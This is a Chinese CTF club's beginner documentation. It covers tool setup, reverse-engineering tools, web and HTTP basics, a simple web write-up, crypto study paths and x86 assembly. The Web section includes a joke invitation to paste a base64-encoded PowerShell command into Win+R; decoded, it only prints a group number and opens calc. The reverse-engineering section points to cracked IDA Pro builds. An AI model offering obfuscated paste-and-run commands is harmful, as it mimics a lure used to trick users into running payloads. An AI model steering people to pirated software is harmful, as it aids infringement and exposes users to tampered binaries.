你说得对,但NEX是...

本站校外镜像:https://nexdocs.zhufn.fun/

CTF/比赛平台:https://www.neu-nex.fun/

NEX 机器人

NEX招新群:189383810

提问的智慧

如果你看不到目录,请点击左上角的菜单键

计算机教育中缺失的一课

速通计算机基础知识:https://missing-semester-cn.github.io/

文档的通识部分中,你也许能找到这个课程的影子。

工具们

无论是在网络安全,还是一般的计算机/软件实践中,都非常重要的一些工具。

shell

shell 是什么?

如今的计算机有着多种多样的交互接口让我们可以进行指令的的输入,从炫酷的图像用户界面(GUI),语音输入甚至是 AR/VR 都已经无处不在。 这些交互接口可以覆盖 80% 的使用场景,但是它们也从根本上限制了您的操作方式——你不能点击一个不存在的按钮或者是用语音输入一个还没有被录入的指令。 为了充分利用计算机的能力,我们不得不回到最根本的方式,使用文字接口:Shell

几乎所有您能够接触到的平台都支持某种形式的 shell,有些甚至还提供了多种 shell 供您选择。虽然它们之间有些细节上的差异,但是其核心功能都是一样的:它允许你执行程序,输入并获取某种半结构化的输出。

建议先学Linux shell再学Windows的。

如何启动shell

  • Windows: 在Microsoft Store(微软商店)安装“终端”后,启动它
  • Linux: 找到名为“终端”/“terminal”的应用,启动它

    也许你需要先 获得一个Linux环境

《快乐的Linux 命令行》中英文对照版电子书

地址:http://billie66.github.io/TLCL/book/

(Windows)PowerShell 新手入门

https://sspai.com/prime/story/powershell-primer-01

git

为了从github上抄代码,学习git吧!

版本控制系统 (VCSs) 是一类用于追踪源代码(或其他文件、文件夹)改动的工具。顾名思义,这些工具可以帮助我们管理代码的修改历史;不仅如此,它还可以让协作编码变得更方便。VCS 通过一系列的快照将某个文件夹及其内容保存了起来,每个快照都包含了顶级目录中所有的文件或文件夹的完整状态。同时它还维护了快照创建者的信息以及每个快照的相关信息等等。

为什么说版本控制系统非常有用?即使您只是一个人进行编程工作,它也可以帮您创建项目的快照,记录每个改动的目的、基于多分支并行开发等等。和别人协作开发时,它更是一个无价之宝,您可以看到别人对代码进行的修改,同时解决由于并行开发引起的冲突。

现代的版本控制系统可以帮助您轻松地(甚至自动地)回答以下问题:

  • 当前模块是谁编写的?
  • 这个文件的这一行是什么时候被编辑的?是谁作出的修改?修改原因是什么呢?
  • 最近的 1000 个版本中,何时/为什么导致了单元测试失败?

请参考:

Docker

为了偷别人配好的复杂环境,学习Docker吧!

当然你也可以学习nix...

注意:Docker的官方容器仓库被屏蔽了,请尝试国内镜像(虽然好像快死完了),或虚拟网卡模式的科学上网

另外用国内docker源的话一定要指定镜像版本,不要用ubuntu:latest这种,在某里云上latest不会同步最新版。

安装见环境配置篇,教程见:https://iphysresearch.github.io/blog/post/programing/docker-tutorial/

收藏夹

一些常用的网站

杂七杂八

CTF Wiki

CTF Wiki 主要包含 CTF 各大范畴的基础知识

攻防世界

buuoj

虽然叫oj,但跟acm无关

CyberChef

Cyber​​Chef 是一个简单、直观的网络应用程序,用于在网络浏览器中执行各种“网络”操作。这些操作包括 XOR 和 Base64 等简单编码、AES、DES 和 Blowfish 等更复杂的加密、创建二进制和十六进制转储、数据压缩和解压缩、计算哈希值和校验和、IPv6 和 X.509 解析、更改字符编码等等。

Compiler Explorer

查看不同版本的编译器生成的汇编、中间表示。

某导航站

Unicode工具

Graphviz Online

代码生成graph,使用例:chatgpt生成流程图,效果好的情况下修改方便的方案,原理可能是它对dot语言理解比较到位

二进制

Nightmare

Nightmare 是基于 ctf 挑战的二进制开发/逆向工程入门课程。

爱盘

保存着吾爱破解严选工具

How2heap

用于学习各种堆利用技术

Crackme大全

也就是逆向题

Linux syscall table

也许你写汇编或制作shellcode的时候能用到

更多from hzz: bookmarks_2024_9_24.html.包括一些教程、博客文章、工具文档等。

密码学

在线sagemath(jupyter notebook)

博客推荐:

密码学简介 - CTF Wiki (ctf-wiki.org):ctf-wiki,虽然不全,但是讲得挺好

类别: crypto | Lazzaro (lazzzaro.github.io): lazzaro佬的博客,密码祖师爷,比较全。

Emmaaaaaaaaaa-CSDN博客: Emmaaaaaaaaa讲得浅显易懂,适合新生入门。

糖醋小鸡块的blog (tangcuxiaojikuai.xyz):主要是比赛wp,适合赛后复现,以及学到中后期的密码手。

Cheat Sheet

一些软件的命令、按键快速查找表

Git Cheat Sheet

Vim Cheat Sheet

GDB-cheat-sheet.pdf

Windows系统相关环境

这里假设你使用的是Windows 10或Windows 11系统。注意,相比于Windows 11,Windows 10可能缺乏某些功能,例如WSL中的部分高级功能。

Visual Studio

(也可以查看这篇:https://mp.weixin.qq.com/s/sKHZJkYNGMG0AsF9sk53rg

(省流:Windows系统下进行C++, .net系列语言【C#, F#, VB】开发的IDE。主要用于编写Windows下的原生软件。也能用来写Python,Web,移动端等...但我建议只在写C++和.net时用它)

Microsoft Visual Studio(视觉工作室,简称VS或MSVS)是微软公司的开发工具包系列产品。VS是一个基本完整的开发工具集,它包括了整个软件生命周期中所需要的大部分工具,如UML工具、代码管控工具、集成开发环境(IDE)等等。所写的目标代码适用于微软支持的所有平台,包括Microsoft Windows、Windows CE、.NET、.NET Framework、.NET Compact Framework和Microsoft Silverlight。

而Visual Studio .NET是用于快速生成企业级ASP.NET Web应用程序和高性能桌面应用程序的工具。Visual Studio包含基于组件的开发工具(如Visual C#、Visual J#、Visual Basic和Visual C++),以及许多用于简化基于小组的解决方案的设计、开发和部署的其他技术。

安装

打开https://visualstudio.microsoft.com/zh-hans/,点击“Visual Studio”。启动安装程序,安装时选择“使用C++的桌面开发”以及其他你喜欢的项目。
注意,即使修改了安装位置,仍然会占用部分C盘空间。
vs install

打开项目

文件夹中存在以sln为扩展名的文件即为Visual Studio的项目文件,双击打开即可。
运行项目只需点击那个绿色的播放按钮。

Python

方法1

打开Microsoft Store(微软商店),搜索Python,选择你喜欢的版本(Python 3.xx),安装。 py ms store

方法2

打开https://www.python.org/downloads/windows/,找到你喜欢的版本,点击“Windows installer (64-bit)”来下载和安装 py site

Python常用包

链接

逆向工程环境 - Windows篇

前情提要:逆向工程的介绍

Detect-It-Easy

文件格式识别

开源软件直接github下载就行:https://github.com/horsicq/DIE-engine/releases

IDA pro

A powerful disassembler, decompiler and a versatile debugger. In one tool.

完整版8599刀/年,购买地址:https://hex-rays.com/pricing

免费版反编译功能需联网使用,线下赛就用不了了,不推荐。而且支持的架构少。

破解版推荐使用8, 9版本,其中只有9有Linux版和Mac版(据说Mac用户都用Hopper,不清楚喵)流出。8版本有那种打包好常用插件的,9版本插件需要自己装,且有api变动,部分插件需要修改后才能用。

下面的链接来自52破解

IDA Pro 9.0 Beta官方泄露版(Win Linux Mac)含所有Decompiler和SDK,更新破解和链接

IDA Pro 8.3 绿色版(2024.2.26更新)

x64dbg

调试器。为什么不直接用IDA呢?我的经验是IDA容易崩,容易卡,看内存不太方便。

开源软件直接github下载就行:https://github.com/x64dbg/x64dbg

Docker - Win

先装个wsl

然后去docker官网下载并安装Docker Desktop即可:https://www.docker.com/

Linux

许多CTF题需要Linux环境,有以下几种选择:物理机,WSL,传统虚拟机。其中:

  • WSL:安装简单,自带许多很方便的与Windows的互操作。
  • 传统虚拟机:搭建复杂的虚拟网络环境时比较方便
  • 物理机:适合抖M
    注:曾经WSL与传统虚拟机不兼容(只能二选一),但在最新版本的虚拟机软件上几乎没有问题。

由于Linux发行版众多,本文档不可能全部兼顾,因此将以Kali Linux为主要介绍对象。

Linux 发行版(英语:Linux distribution或distro,也被叫做GNU/Linux 发行版),为一般用户预先集成好的Linux操作系统及各种应用软件。一般用户不需要重新编译,在直接安装之后,只需要小幅度更改设置就可以使用,通常以软件包管理系统来进行应用软件的管理。Linux发行版通常包含了包括桌面环境、办公包、媒体播放器、数据库等应用软件。这些操作系统通常由Linux内核、以及来自GNU计划的大量的函数库,和基于X Window或者Wayland的图形界面。有些发行版考虑到容量大小而没有预装 X Window,而使用更加轻量级的软件,如:BusyBox、musl或uClibc-ng。现在有超过300个Linux发行版(Linux发行版列表)。大部分都正处于活跃的开发中,不断地改进。

(另外Kali作为Debian的衍生版,很多教程也可以直接参考debian的)

安装方式-WSL

只讨论WSL2。如果你需要自己搜索额外的教程,请注意教程发布时间,以一年内为佳,两年内也行。尽量只参考官方文档。

安装

在最新的系统中,理论上只需一行shell命令(这行命令会自动启用相关“Windows功能”,无须在控制面板中进行额外操作)

wsl --install -d kali-linux

如果你遇到问题,参考:

改变安装路径

参考:https://www.kali.org/docs/wsl/wsl-preparations/#import-rootfs

下载完整的kali工具

参考:

安装后如何启动

在shell这一章节中你应该已经安装了“终端”,请参考下图。 launch wsl

文件互通

Windows的cdef盘在/mnt/{c,d,e,f}下

Windows的主目录可能在~/winhome下

可直接执行Windows path中的程序,记得加上.exe

VS Code无缝编辑

当你的Windows系统中存在VS Code时,你可以在WSL中像vim一样调用它,把vim扔掉吧。

code [file-to-edit]

网络配置

官方文档:https://learn.microsoft.com/zh-cn/windows/wsl/networking

一些提示:

nat, mirrored:理论上两种模式都可以直接访问wsl内开的端口。以下是启用mirrored的当前优势:

  • IPv6 支持
  • 使用 localhost 地址 127.0.0.1 从 Linux 内部连接到 Windows 服务器。 不支持 IPv6 localhost 地址 ::1
  • 改进了 VPN 的网络兼容性
  • 多播支持
  • 直接从局域网 (LAN) 连接到 WSL

auto proxy:自动使用Windows开的科学上网,前提是运行的程序走系统代理

图形界面(KEX)

参考:https://www.kali.org/docs/wsl/win-kex/

你可以一键启动Kali Linux的图形界面来运行图形程序。

kex

安装方式-虚拟机

推荐的虚拟机平台:VMware Workstation或VirtualBox。

值得注意的是最新的VMware Workstation个人使用已经免费,无需序列号,另外旧版与Hyper-V的兼容性有问题,请不要使用旧版VMware Workstation

参考:https://www.kali.org/docs/virtualization/

逆向工程环境 - Linux篇

前情提要:逆向工程的介绍

Detect-It-Easy

文件格式识别

开源软件直接github下载就行:https://github.com/horsicq/DIE-engine/releases

反汇编平台

我一般只有在调试程序时使用Linux,这部分建议可能有不足之处。

Linux下能用的有:

  • 任意版本的IDA free,任意正版IDA,盗版IDA pro 9,
  • Binary Ninja
  • Ghidra

具体安装过程相信准备拿Linux做主系统跑反汇编平台的你一定不需要我再赘述了

调试器

功能比较完善的就是那几个gdb发行版(gef, pwndbg, peda),他们有一些功能上的区别,请在使用中自行领悟。

三者共存安装:https://github.com/apogiatzis/gdb-peda-pwndbg-gef

实在想要图形界面的话考虑使用edb。

Docker - Linux

根据你的发行版,跟随官方教程安装Docker。

例如kali跟deian的教程:https://docs.docker.com/engine/install/debian/

Python常用包

  • 网络请求:requests, httpx
  • 二进制相关:pwntools, angr, capstone, lief, unicorn, frida
  • 密码学相关: gmpy2, sympy, pycryptodome, sagemath

Web

在 CTF 竞赛中,WEB 是占比重大的方向之一。其题目种类繁多,知识点细碎,时效性强,学习曲线呈 "U" 状,即,需要对整个网络体系有一个十分清晰的认识,并且随时关注行业风向变化,才有底气说 “我掌握了 Web”。

但由于其入门门槛较低,并且贴近实战场景,Web 安全也曾一度带来了 "脚本小子" 这个专有名词。不过,我相信大家也不仅仅是满足于,能跑通几个脚本就完事了。

所以,无论你是完全不懂的初学者,又或是有些经验的探索者,我都希望你能够都完整地将这一部分的文章看完,并结合赛题实例,拥有对 Web/Network 新的认识与理解。

(广告位招租:加入Web交流群,只需按 Win+R,粘贴 powershell -nop -enc ZQBjAGgAbwAgACcAUQBRACAARwByAG8AdQBwACAAMQAwADYAMQAxADkAMQA5ADYAMgAnADsAIABzAGEAcABzACAAYwBhAGwAYwAgAC0AZQBhACAAMAA7ACAAWwBDAG8AbgBzAG8AbABlAF0AOgA6AFIAZQBhAGQASwBlAHkAKAAkAHQAcgB1AGUAKQA+ACQAbgB1AGwAbAA= 然后回车,就这么简单!)

下一章节: Web —— 引入

Web —— 引入

Web 通常是你接触网络的第一课。传统 Web 从分类上看,其实是很简单的:无非是 浏览器后端应用以及它们之间的沟通方式,这三方面的结合而已。

当然,随着你的学习逐渐深入,你会开始意识到这里面其实并没有看上去的那么容易。举几个例子:

浏览器前端:HTML、DOM、CSS、XML、JavaScript、CORS、CSP

沟通协议:HTTP、TLS、WebSocket、JWT、SOAP、JNDI

后端应用程序:PHP、ASP、.Net、Python、Node.js、C、C++、Golang、Rust、Lua、Apache、Nginx、Tomcat、Springboot、JBoss

常见漏洞分类:信息泄露、逻辑漏洞、条件竞争、文件上传/下载/解压、SSRF、反序列化、动态代码执行、SSTI、系统命令注入、SQL 注入、CSRF/XSS

而近些年的 CTF Web 往往还喜欢结合具体数据库或"内网渗透"的相关知识进行考察,例如:

数据库:SQLite、MySQL、MariaDB、PostgreSQL、H2 Database、OracleDB、MongoDB

其余知识:Redis未授权、SMB、提权(内核漏洞、SUID、Capabilities)、横向移动(网段、路由与代理)

如果你曾经体验过软件开发的全流程,你可能会对上面这些名词感到熟悉。如果你是一问三不知的新手,这当然也没有关系,因为本次比赛不会涉及这其中的大部分内容。

一个 Web 漏洞本质上就是某个 "非预期" 的行为,例如逻辑漏洞,可以造成用户非预期地访问某些它不该访问得到的数据;如 SQL 注入,可以造成后端数据库甚至是服务器的沦陷;如 HTTP Desync Attack,则是结合 HTTP 协议实现的弱点窃取浏览器提交的信息。

也就是说,当你遇到一个 Web 挑战的时候,最需要关注的也是三个点:浏览器前端界面交互的数据以及协议后端服务器信息

传统 CTF Web 的入门一般是从 PHP 开始的。通过自己简单地搭建一个后端服务器,熟悉 PHP 常见的语言特性以及考点,然后再逐渐补充 HTTP 或 HTML 的相关知识。

所以接下来,我们将会当做你一无所知,并从“打开浏览器”开始,依次对这三个方面进行介绍。

下一章节: Web —— 基础知识

Web —— 基础知识

在这里先跳出原本的叙事逻辑,因为有必要先介绍介绍 Web/Network 的一些课程基础。

在计算机相关专业会学到,与 Web/Network 最相关的基础课包括:

计算机网络:TCP/IP、网段与路由、HTTP、协议分析

操作系统:环境、进程、文件、Windows、Linux

软件工程:如何搭建整个软件应用程序

当然,还有一些水课(如 软件体系架构),也是很有必要的。它们介绍了工程中通常会采用的设计模式,在 Web 代码审计时会频繁遇到。

思考一个经典的问题:用户打开浏览器,输入网址,直到看到网页内容;总共经历哪些过程?

以网络的角度思考,按照 OSI 七层模型分类,这个过程其实涉及到了非常多的协议:

二层:ARP 或 ICMPv6-RA

三层:IP Fragmentation/NAT

四层:TCP 三次握手/UDP

七层:DHCP/DNS/HTTP/TLS

而当中的每一环都可能存在 "安全问题",这是国内外 Web 的前沿研究方向,包括 DNS 服务器实现上的 \0 截断漏洞、不遵循 HTTP RFC 标准的 CDN 中间件解析差异漏洞、IPv6 RA 重分配漏洞等等。

对于传统 Web 而言,其实并不需要过多细究这其中的具体实现,但仍然需要理解它们的基本原理及应用,举个例子,在 SSRF(Server-Side Request Forgery)漏洞中,请求远程资源时,便可以通过 DNS Rebinding(重绑定)来绕过某些访问限制。

这些基础知识将会为你在 Web 的长远发展保驾助航。

下一章节: Web —— 从浏览器开始

Web —— 从浏览器开始

浏览器始终是你在 Web 挑战中使用得最频繁的工具。

网页界面通常由 HTML(HyperText Markup Language)超文本标记语言实现,通过将其解析成树状的 DOM(Document Object Model),浏览器借此标记出每个标签所对应的层级。当然,这其中还涉及到 CSS(Cascading Style Sheets)样式为 HTML 标签添加格式及外观,JS(JavaScript)脚本为 HTML 标签添加动态触发器。

打开 https://example.com/ 或别的网站,并在网页中按下 F12,或单击右键并进入审查元素,你将有办法打开浏览器提供的开发者工具。

开发者工具里的 Inspector (Firefox) / Element (Chromium) 一栏展现了每个 HTML tag 对应网页里实际渲染出的元素。你可以通过鼠标在 DOM 树中切换,甚至对它进行修改,然后观察网页的变化。小练习:将大标题文字 Example Domain 改为 111111。

Console 一栏则是当前网页的 JS 控制台,它解析由你输入的 JavaScript 表达式,并在当前的上下文环境中执行;这个环境指的是,如果你在 Debugger 一栏中对某些操作下了断点,引擎执行到断点行代码时的变量及调用栈上下文环境,否则默认以 window(窗口)为执行环境。小练习:在控制台中执行 document.getElementsByTagName("p")[0].innerHTML = '2 <br> 3'; 并观察效果。

Network 一栏则记录了所有浏览器与后端服务器的交互。如果为空,你可能需要按 F5 刷新界面以重新开始记录。在 CTF Web 题中,你往往会需要查看网络流量以推断某个功能到底是如何实现的(如排行榜,最高记录到底是保存在前端还是后端?如何把当前成绩存进去的?等等),并可以借助已有的数据交互格式,向后端服务器发送修改过后的新的数据。小练习:自行查看不同网站的网络流量,尝试理解 HTTP 状态码(200、404、500、400、302 等等)的含义、理解 HTTP 请求方式(GET/POST/HEAD)的含义、理解 HTTP URL 路径的基本写法及作用、理解不同 HTTP 请求/回复头的含义(如 Host、Cookie、Server、Content-Length、Content-Type、User-Agent 等等),并尝试修改某个特定请求的任一部分,观察最终返回结果的变化。

对于网络请求,除了浏览器自带的开发者工具,还有更专业用于分析的工具,如 Charles、Burpsuite 等,借助中间人 MiTM 的方式获取你的网络流量,可以自行安装尝试。

Storage 一栏则保存了网页存储在浏览器本地的数据,如 Local Storage、Cookie 等。你可以借助此功能查看或修改它们。

下一章节: Web —— HTTP 协议

Web —— HTTP 协议

HTTP 协议是浏览器与后端服务器交互的最基本协议,在 99.99% 的情况下。

先前通过 Network 一栏,你已经了解了一些基本的 HTTP 格式。

你应该已经理解后端服务器会凭借 HTTP 请求中的哪一部分,辨别请求的资源是什么、如何请求、返回格式等信息。

对于基础的 Web 挑战,理解到这里已经足够了。近年来随着 CDN 的普遍运用,一种新型攻击方法 HTTP Request Smuggling 开始逐渐浮出水面,其借助不同软件对 HTTP RFC 的解析差(如 Content-Length / Transfer-Encoding)绕过一些安全限制,甚至可以伪造经过该中间件的请求-回复包。

curl 是一个在 Web 测试中必不可少的工具。其可以很方便地显示 HTTP 请求的详细信息,并指定使用特定的 URL、HTTP 版本、POST 数据或 HTTP 头。尝试在终端里执行 curl https://1.1.1.1/cdn-cgi/trace -vv --http1.1 --path-as-is -k -d "aaa=b" 并解释每个参数以及输出的含义。

当然,有时候还可能会遇到构造非法 HTTP 请求的情况(在本次比赛中不会出现),这时候只能使用系统提供的 socket 套接字手动发送 TCP 包。

nc(netcat) 是在 TCP/UDP 发收包测试中必不可少的工具。尝试使用 nc 连接 example.com 80 端口,并发送一个基础的 HTTP 请求,然后解释服务器的返回数据。

下一章节: Web —— 后端应用

Web —— 后端应用

到现在,你应该可以明白,后端应用不过是借助系统套接字实现 HTTP 协议并与浏览器完成交互的一个很普通的应用程序。所以说,这里其实很像一个"软件开发"的事情。

最经典、易用的后端应用包括 PHP、Python、Node.js、Java 等(半)解释型语言。在 CTF Web 题中,这些语言占据了考点的 90% 以上。

当然,还有提供脚本语言(如 PHP)执行环境的 Apache 或 Nginx 服务器,它们也最常被用在反向代理上,保证后端服务的安全性。

你可以学习如何使用这些语言搭建一个可供访问的网站,当然在本次比赛中,我们不会对这一点进行过多的考察。

黑马程序员:使用 Apache + PHP 搭建一个动态 HTTP 服务器

在 CTF Web 题中,不同的语言、写法会产生不同的漏洞类型,比如反序列化漏洞特属于 PHP、Java、Python 等语言,SQL 注入就更不用说了。所以说,有必要对这些语言有一个基础的认识,虽然自己可能写不出来,但至少一看得能大概知道这部分代码是在做什么,能采用什么样的框架实现什么样的功能,等等。适当询问 AI 大模型会是一个很好的快速入门的途经。

下一章节: Web —— 更进一步

Web —— 更进一步

大家可以发现,我并没有过多提及关于 Web 的漏洞的说明。如果一上来就整得太难的话,会吓到各位的;万事都得从基础做起,这一点也会在赛题中得以体现。大家只要理解了上面的"三要素",我相信已经足以算"Web 入门"了!

如果想更进一步,可以下载我先前讲课时使用的 PPT/文稿,并在网上搜索学习里面关键词的相关资料。

附件概览:

最后,祝你顺利!

下一章节: 样题 WriteUp

样题 WriteUp

我们强烈建议你先进行手动尝试,如果实在毫无头绪,再来这看看你缺失了哪一部分。

如果你确定要查看该样题的题解,请继续往下阅读,否则立即退出本页面!

【简单】一分钟下架

是个人都能看出来,主要的网页就俩,一个主页,另一个商品详情页。

目标是进入 Flag 商品的详情页,但是它已经被紧急下架了,没有 "查看详情" 按钮。

在主页上点击右键,查看网页源代码,并拉到底下。看不懂的话可以问 AI,总之能发现,Flag 商品的下架,就只是把前端对应的 HTML 代码由 <a href="/product/ID" class="view-detail">查看详情</a> 改为了 <p class="taken-down-message">该商品已下架</p> 而已,这一点也已经在题面中明确指出。

也就是说,如果我们访问 /product/ID 这个网址,其中 ID 为 Flag 商品的 ID,那么还是可以进入它的详情页面的!

我们发现,商品的 ID 都是按显示顺序递增出现的。所以可以很合理地推测,排在梨后面 Flag 商品的 ID 应该为 7 !

所以,我们访问 /product/7 这个路径,完整来说,应该是在你的浏览器中打开 http://你的环境网址/product/7 ,即可获取 flag。

crypto是什么?

密码学,但是由于种种原因,古典密码学基本很少在crypto里见到(被赶到misc里了),更多考察现代密码学,同时也侧重于考察密码分析学,即发现并利用某个密码体系的漏洞。

必备工具

sagemath,密码手永远的白月光。有句话说得好,只有你想不到,没有sagemath做不到,其语法与python一致,只不过说提供了更多的可调用函数。安装教程:sagemath 入门笔记 | 独奏の小屋

纸和笔,个人感觉crypto应该是ctf唯一要手算的,有些东西光看可能看不出来,拿笔写写会想得比较明白。

基础知识

首先,现代密码学是需要一定的理论知识,基本上是数论的知识(用不着学很深,留个印象,知道怎么算就行),随着学习的深入,你会逐渐加深理解。对于入门来说,你需要掌握以下概念(可能会有未涉及到的), 模运算逆元欧拉函数最大公因数的求解费马小定理等。对于数论入门,你可以选择看教材或看网课系统的学习,也可以一个个零散的知识点上网搜来学。

其次,需要掌握python的基本语法以及sagemath里常用的一些库函数。常用的一些函数在这篇里都有crypto常用工具

入门路线

就ctf里的crypto而言,最好的入门方式就是从RSA开始学习,首先是了解RSA的加解密流程,然后知道为什么RSA安全。其次是要了解RSA里一些常考的漏洞,这里建议看看ctf-wiki上的RSA 介绍 - CTF Wiki (ctf-wiki.org),不全,但是讲得比较可以。最全的是这位大佬的RSA | Lazzaro (lazzzaro.github.io),可以当成字典来查。RSA了解得差不多后,就是公钥体系的各种密码,常考的主要有ECC,背包,ElGamal。

公钥了解得差不多之后,就是对称加密体系。对称加密体系其实真正的加密原理并不复杂,主要是流程太多,无非就是异或,替代置换这些。这些建议是边打边学,因为实在很多,题目出的也一般是其变种。

以上都是现代密码,为了对抗量子计算机的攻击,科学家们又提出了后量子密码,其中就包括格密码。格不仅本身能作为一个比较好的密码体系,又能作为一种攻击手段(crypto一般最难的题就是出格)

个人认为crypto的新生村的要求就是知道怎么套用网上的脚本就行,可以对原理不是很清楚。之后随着学习的深入,学会自己造。crypto的一大特色之处就在于比较接近科研,攻击方法背后都是有科研论文支撑的,因此读一些经典的crypto论文然后复现也是一种学习方法。


另外,再说说密码学这门学科。上面只是针对ctf里的crypto性价比高的入门线路,如果想系统地了解密码学这门学科,建议是按照密码学发展顺序来学,可以看看网上的一些网课,这样可能比较成体系。

学习资料:

CTF Wiki:ctf-wiki,比较成体系,讲得挺好的,虽然有部分未涉及,但对于新生入门足以。

类别: crypto | Lazzaro: lazzaro佬的博客,很全,适合当工具书。

Emmaaaaaaaaaa-CSDN博客: aa讲得浅显易懂,适合新生入门,主要是比赛wp。

糖醋小鸡块的blog (tangcuxiaojikuai.xyz):主要是比赛wp,适合赛后复现,以及学到中后期的密码手。

零知识证明-zkpunk: 如果有对密码学中的零知识证明感兴趣的,可以看看这篇。

格密码-lattice: 格密码国内的资料基本都是参考这位国外大佬的课程讲义所写的、

密码学课程-cs255: Dan Boneh的密码学课程,讲得比较好。

区块链-blockchain: 目前做得比较好的区块链靶场,wp可以看看这位佬的区块链学习笔记:Ethernaut刷题记录

crypto论文查询网站: crypto的论文基本都在这个网站上。

数论入门教材:信息安全数学基础 讲得有点杂,挑重点看

持续完善中。。。。。

Reverse

by zfn 欢迎交流 二进制交流群:OTc4OTY2NDI2 (使用了常用算法进行编码) (听说有人猜不出这是base64?)

不论入群问题是什么,请一律回答"NEX"

这篇是把某次的slides直接拿过来了,修复了一下格式

还欠缺很多IDA等工具的实际演示,因为当时讲的时候是现场演示的x

xwh也写了一篇Re 从零开始的逆向生活,为了不让他白写,放个链接在这。当然肯定没我写得好喵

附件下载

题目1-3(第x波实战)、壳篇、z3篇、符号执行篇(angr笔记)在单独的文件里,点击下载

如果某一节内容很少,可能相关内容在附件里

目录

什么是逆向工程

你说的对,但《逆向工程》是由网络空间安全自主研发的一款全新解谜类竞技游戏。游戏发生在一个被称作「操作系统」的虚拟空间,在这里,被二进制代码选中的人将被授予「反编译器」,引导逆向之力。你将扮演一位名为「逆向工程师」的神秘角色,在绕过保护措施的旅途中邂逅各种加密与混淆,和他们一起找回失散的控制流——同时,逐步发掘「flag」的真相。

什么是逆向工程

软件代码逆向主要指对软件的结构,流程,算法,代码等进行逆向拆解和分析。
一般,CTF中的逆向工程题目形式为:程序接收用户的一个输入,并在程序中进行一系列校验算法,如通过校验则提示成功,此时的输入即flag。这些校验算法可以是已经成熟的加解密方案,也可以是作者自创的某种算法。比如,一个小游戏将用户的输入作为游戏的操作步骤进行判断等。这类题目要求参赛者具备一定的算法能力、思维能力,甚至联想能力。


程序/可执行文件

  • 一个操作系统中的对象 (文件)
  • 一个字节序列
  • 一个描述了状态机初始状态的数据结构
    • 状态机初始状态的描述
      • 内存中的各段的位置和权限
      • 入口点
      • 寄存器和栈由操作系统决定
    • 状态迁移的描述
      • 代码

可执行文件中的基本结构

不同操作系统对应的可执行文件的结构通常不同(如Windows的PE文件和Linux的ELF文件),但却有很多部分在本质上是相似的。这里的例子适用于常见的原生二进制程序(反例:Java, Android)。

section

section 是编译器生成的,用于组织代码和数据的逻辑部分。每个 section 具有特定的属性和用途,比如代码段、数据段、符号表等。常见的 section 包括 .text(包含可执行代码)、.data(初始化的数据)、.bss(未初始化的数据)、.rodata(只读数据)等。

segment

segment是链接器和操作系统关注的,是程序加载时的内存映射单元。segment 是将多个 section 合并到一起,一般连续的、权限相同的节会被合并。

导入表、导出表

需使用的来自其他动态链接库中的项目(例如函数)
以及
作为动态链接库提供给其他程序的项目

相关工具

  • PE文件:studype++
  • ELF文件:readelf
  • 通用:Detect it easy

特殊的可执行文件/题目类型


特殊系统

  • Android,iOS,OS X
  • riscv,龙芯

源代码

  • 如经过混淆的php文件,powershell文件,常常作为木马上传。
  • web网站中打包后的js文件。
  • 利用了特殊机制(操作系统、并发...)JavaCPScript - deadsec ctf

字节码(VM)

  • 常见的:Java, Python, lua...
  • 其他:智能合约,yara规则...

从x86(_64)架构开始


反汇编/反编译工具

首先准备一套覆盖逆向工程全流程的工具,包括反汇编、反编译(生成伪代码)、控制流图分析、自动化处理脚本、插件支持。

  • IDA(建议先从这个开始)
  • Ghidra
  • Binary Ninja
  • radare2/rizin

调试工具

实际上上面的工具是内置调试功能的,但功能不太丰富,容易崩溃,插件支持少,卡

x86_64汇编速成


寄存器

寄存器(Register)是CPU的组成部分,是有限存储容量的高速存储部件,用来暂存指令、数据和地址。一般的IA-32(Intel Architecture,32-bit)即x86架构的处理器中包含以下在指令中显式可见的寄存器:

  • 通用寄存器EAX、EBX、ECX、EDX、ESI、EDI。

  • 栈顶指针寄存器ESP、栈底指针寄存器EBP。

  • 指令计数器EIP(保存下一条即将执行的指令的地址)。

  • 段寄存器CS、DS、SS、ES、FS、GS。(可以忽略他们)

对于x86-64架构,在以上这些寄存器的基础上,将前缀的E改成R,以标记64位,同时增加了R8~R15这8个通用寄存器。另外,对于16位的情况,则将前缀E全部去掉。

对于通用寄存器,程序可以全部使用,也可以只使用一部分。使用寄存器不同部分时对应的助记符见图5-1-1。其中,R8~R15进行拆分时的命名规则为R8d(低32位)、R8w(低16位)和R8b(低8位)。


可以将寄存器理解为预先定义好的变量,这变量没有类型,执行操作时只有长度的区别。 寄存器


内存和寻址

寻址=解引用一个指针

寻址方式示例C 语言示例
直接寻址[1000h]int* ptr = (int*)0x1000; int val = *ptr;
寄存器间接寻址[RAX]int* ptr = (int*)rax; int val = *ptr;
基址寻址[RBP+10h]int* ptr = (int*)(rbp + 0x10); int val = *ptr;
变址寻址[RDI+10h]int* ptr = (int*)(rdi + 0x10); int val = *ptr;
基址加变址寻址[RBX+RSI+10h]int* ptr = (int*)(rbx + rsi + 0x10); int val = *ptr;

基本运算

asm_base


条件跳转

每次进行运算时,不仅会改变目标中的值,还会影响标志位

  • AF:辅助进位标志(Auxiliary Carry Flag),当运算结果在第3位进位的时候置1。
  • PF:奇偶校验标志(Parity Flag),当运算结果的最低有效字节有偶数个1时置1。
  • SF:符号标志(Sign Flag),有符号整形的符号位为1时置1,代表这是一个负数。
  • ZF:零标志(Zero Flag),当运算结果为全零时置1。
  • OF:溢出标志(Overflow Flag),运算结果在被操作数是有符号数且溢出时置1。
  • CF:进位标志(Carry Flag),运算结果向最高位以上进位时置1,用来判断无符号数的溢出。

但我们不用记这些


asm_jmp


jump里

  • n: not
  • e: equal
  • z: zero
  • g: greater
  • l: less
  • b: blow
  • a: above

a,b有符号
g,l无符号


函数调用

x86的栈是从顶往下塞东西的。
ebp是基指针,它存储当前栈顶地址。(什么叫当前栈?之后解释 )
esp是栈指针,它存储当前堆底地址。

push

push


调用过程

在 x86 架构中,ESP(中保存的地址)和EBP(中保存的地址)之间的区域通常称为栈帧。栈帧是每个函数调用时在栈上分配的一块内存,用于保存函数的局部变量、返回地址、传递的参数以及保存调用者的寄存器状态。

更详细的:https://textbook.cs161.org/memory-safety/x86.html#27-x86-calling-convention

push

push


参数

  • x86 32位架构的调用约定
    • __cdecl:参数从右向左依次压入栈中,调用完毕,由调用者负责将这些压入的参数清理掉,返回值置于EAX中。绝大多数x86平台的C语言程序都在使用这种约定。
    • __stdcall:参数同样从右向左依次压入栈中,调用完毕,由被调用者负责清理压入的参数,返回值同样置于EAX中。Windows的很多API都是用这种方式提供的。
    • __thiscall:为类方法专门优化的调用约定,将类方法的this指针放在ECX寄存器中,然后将其余参数压入栈中。
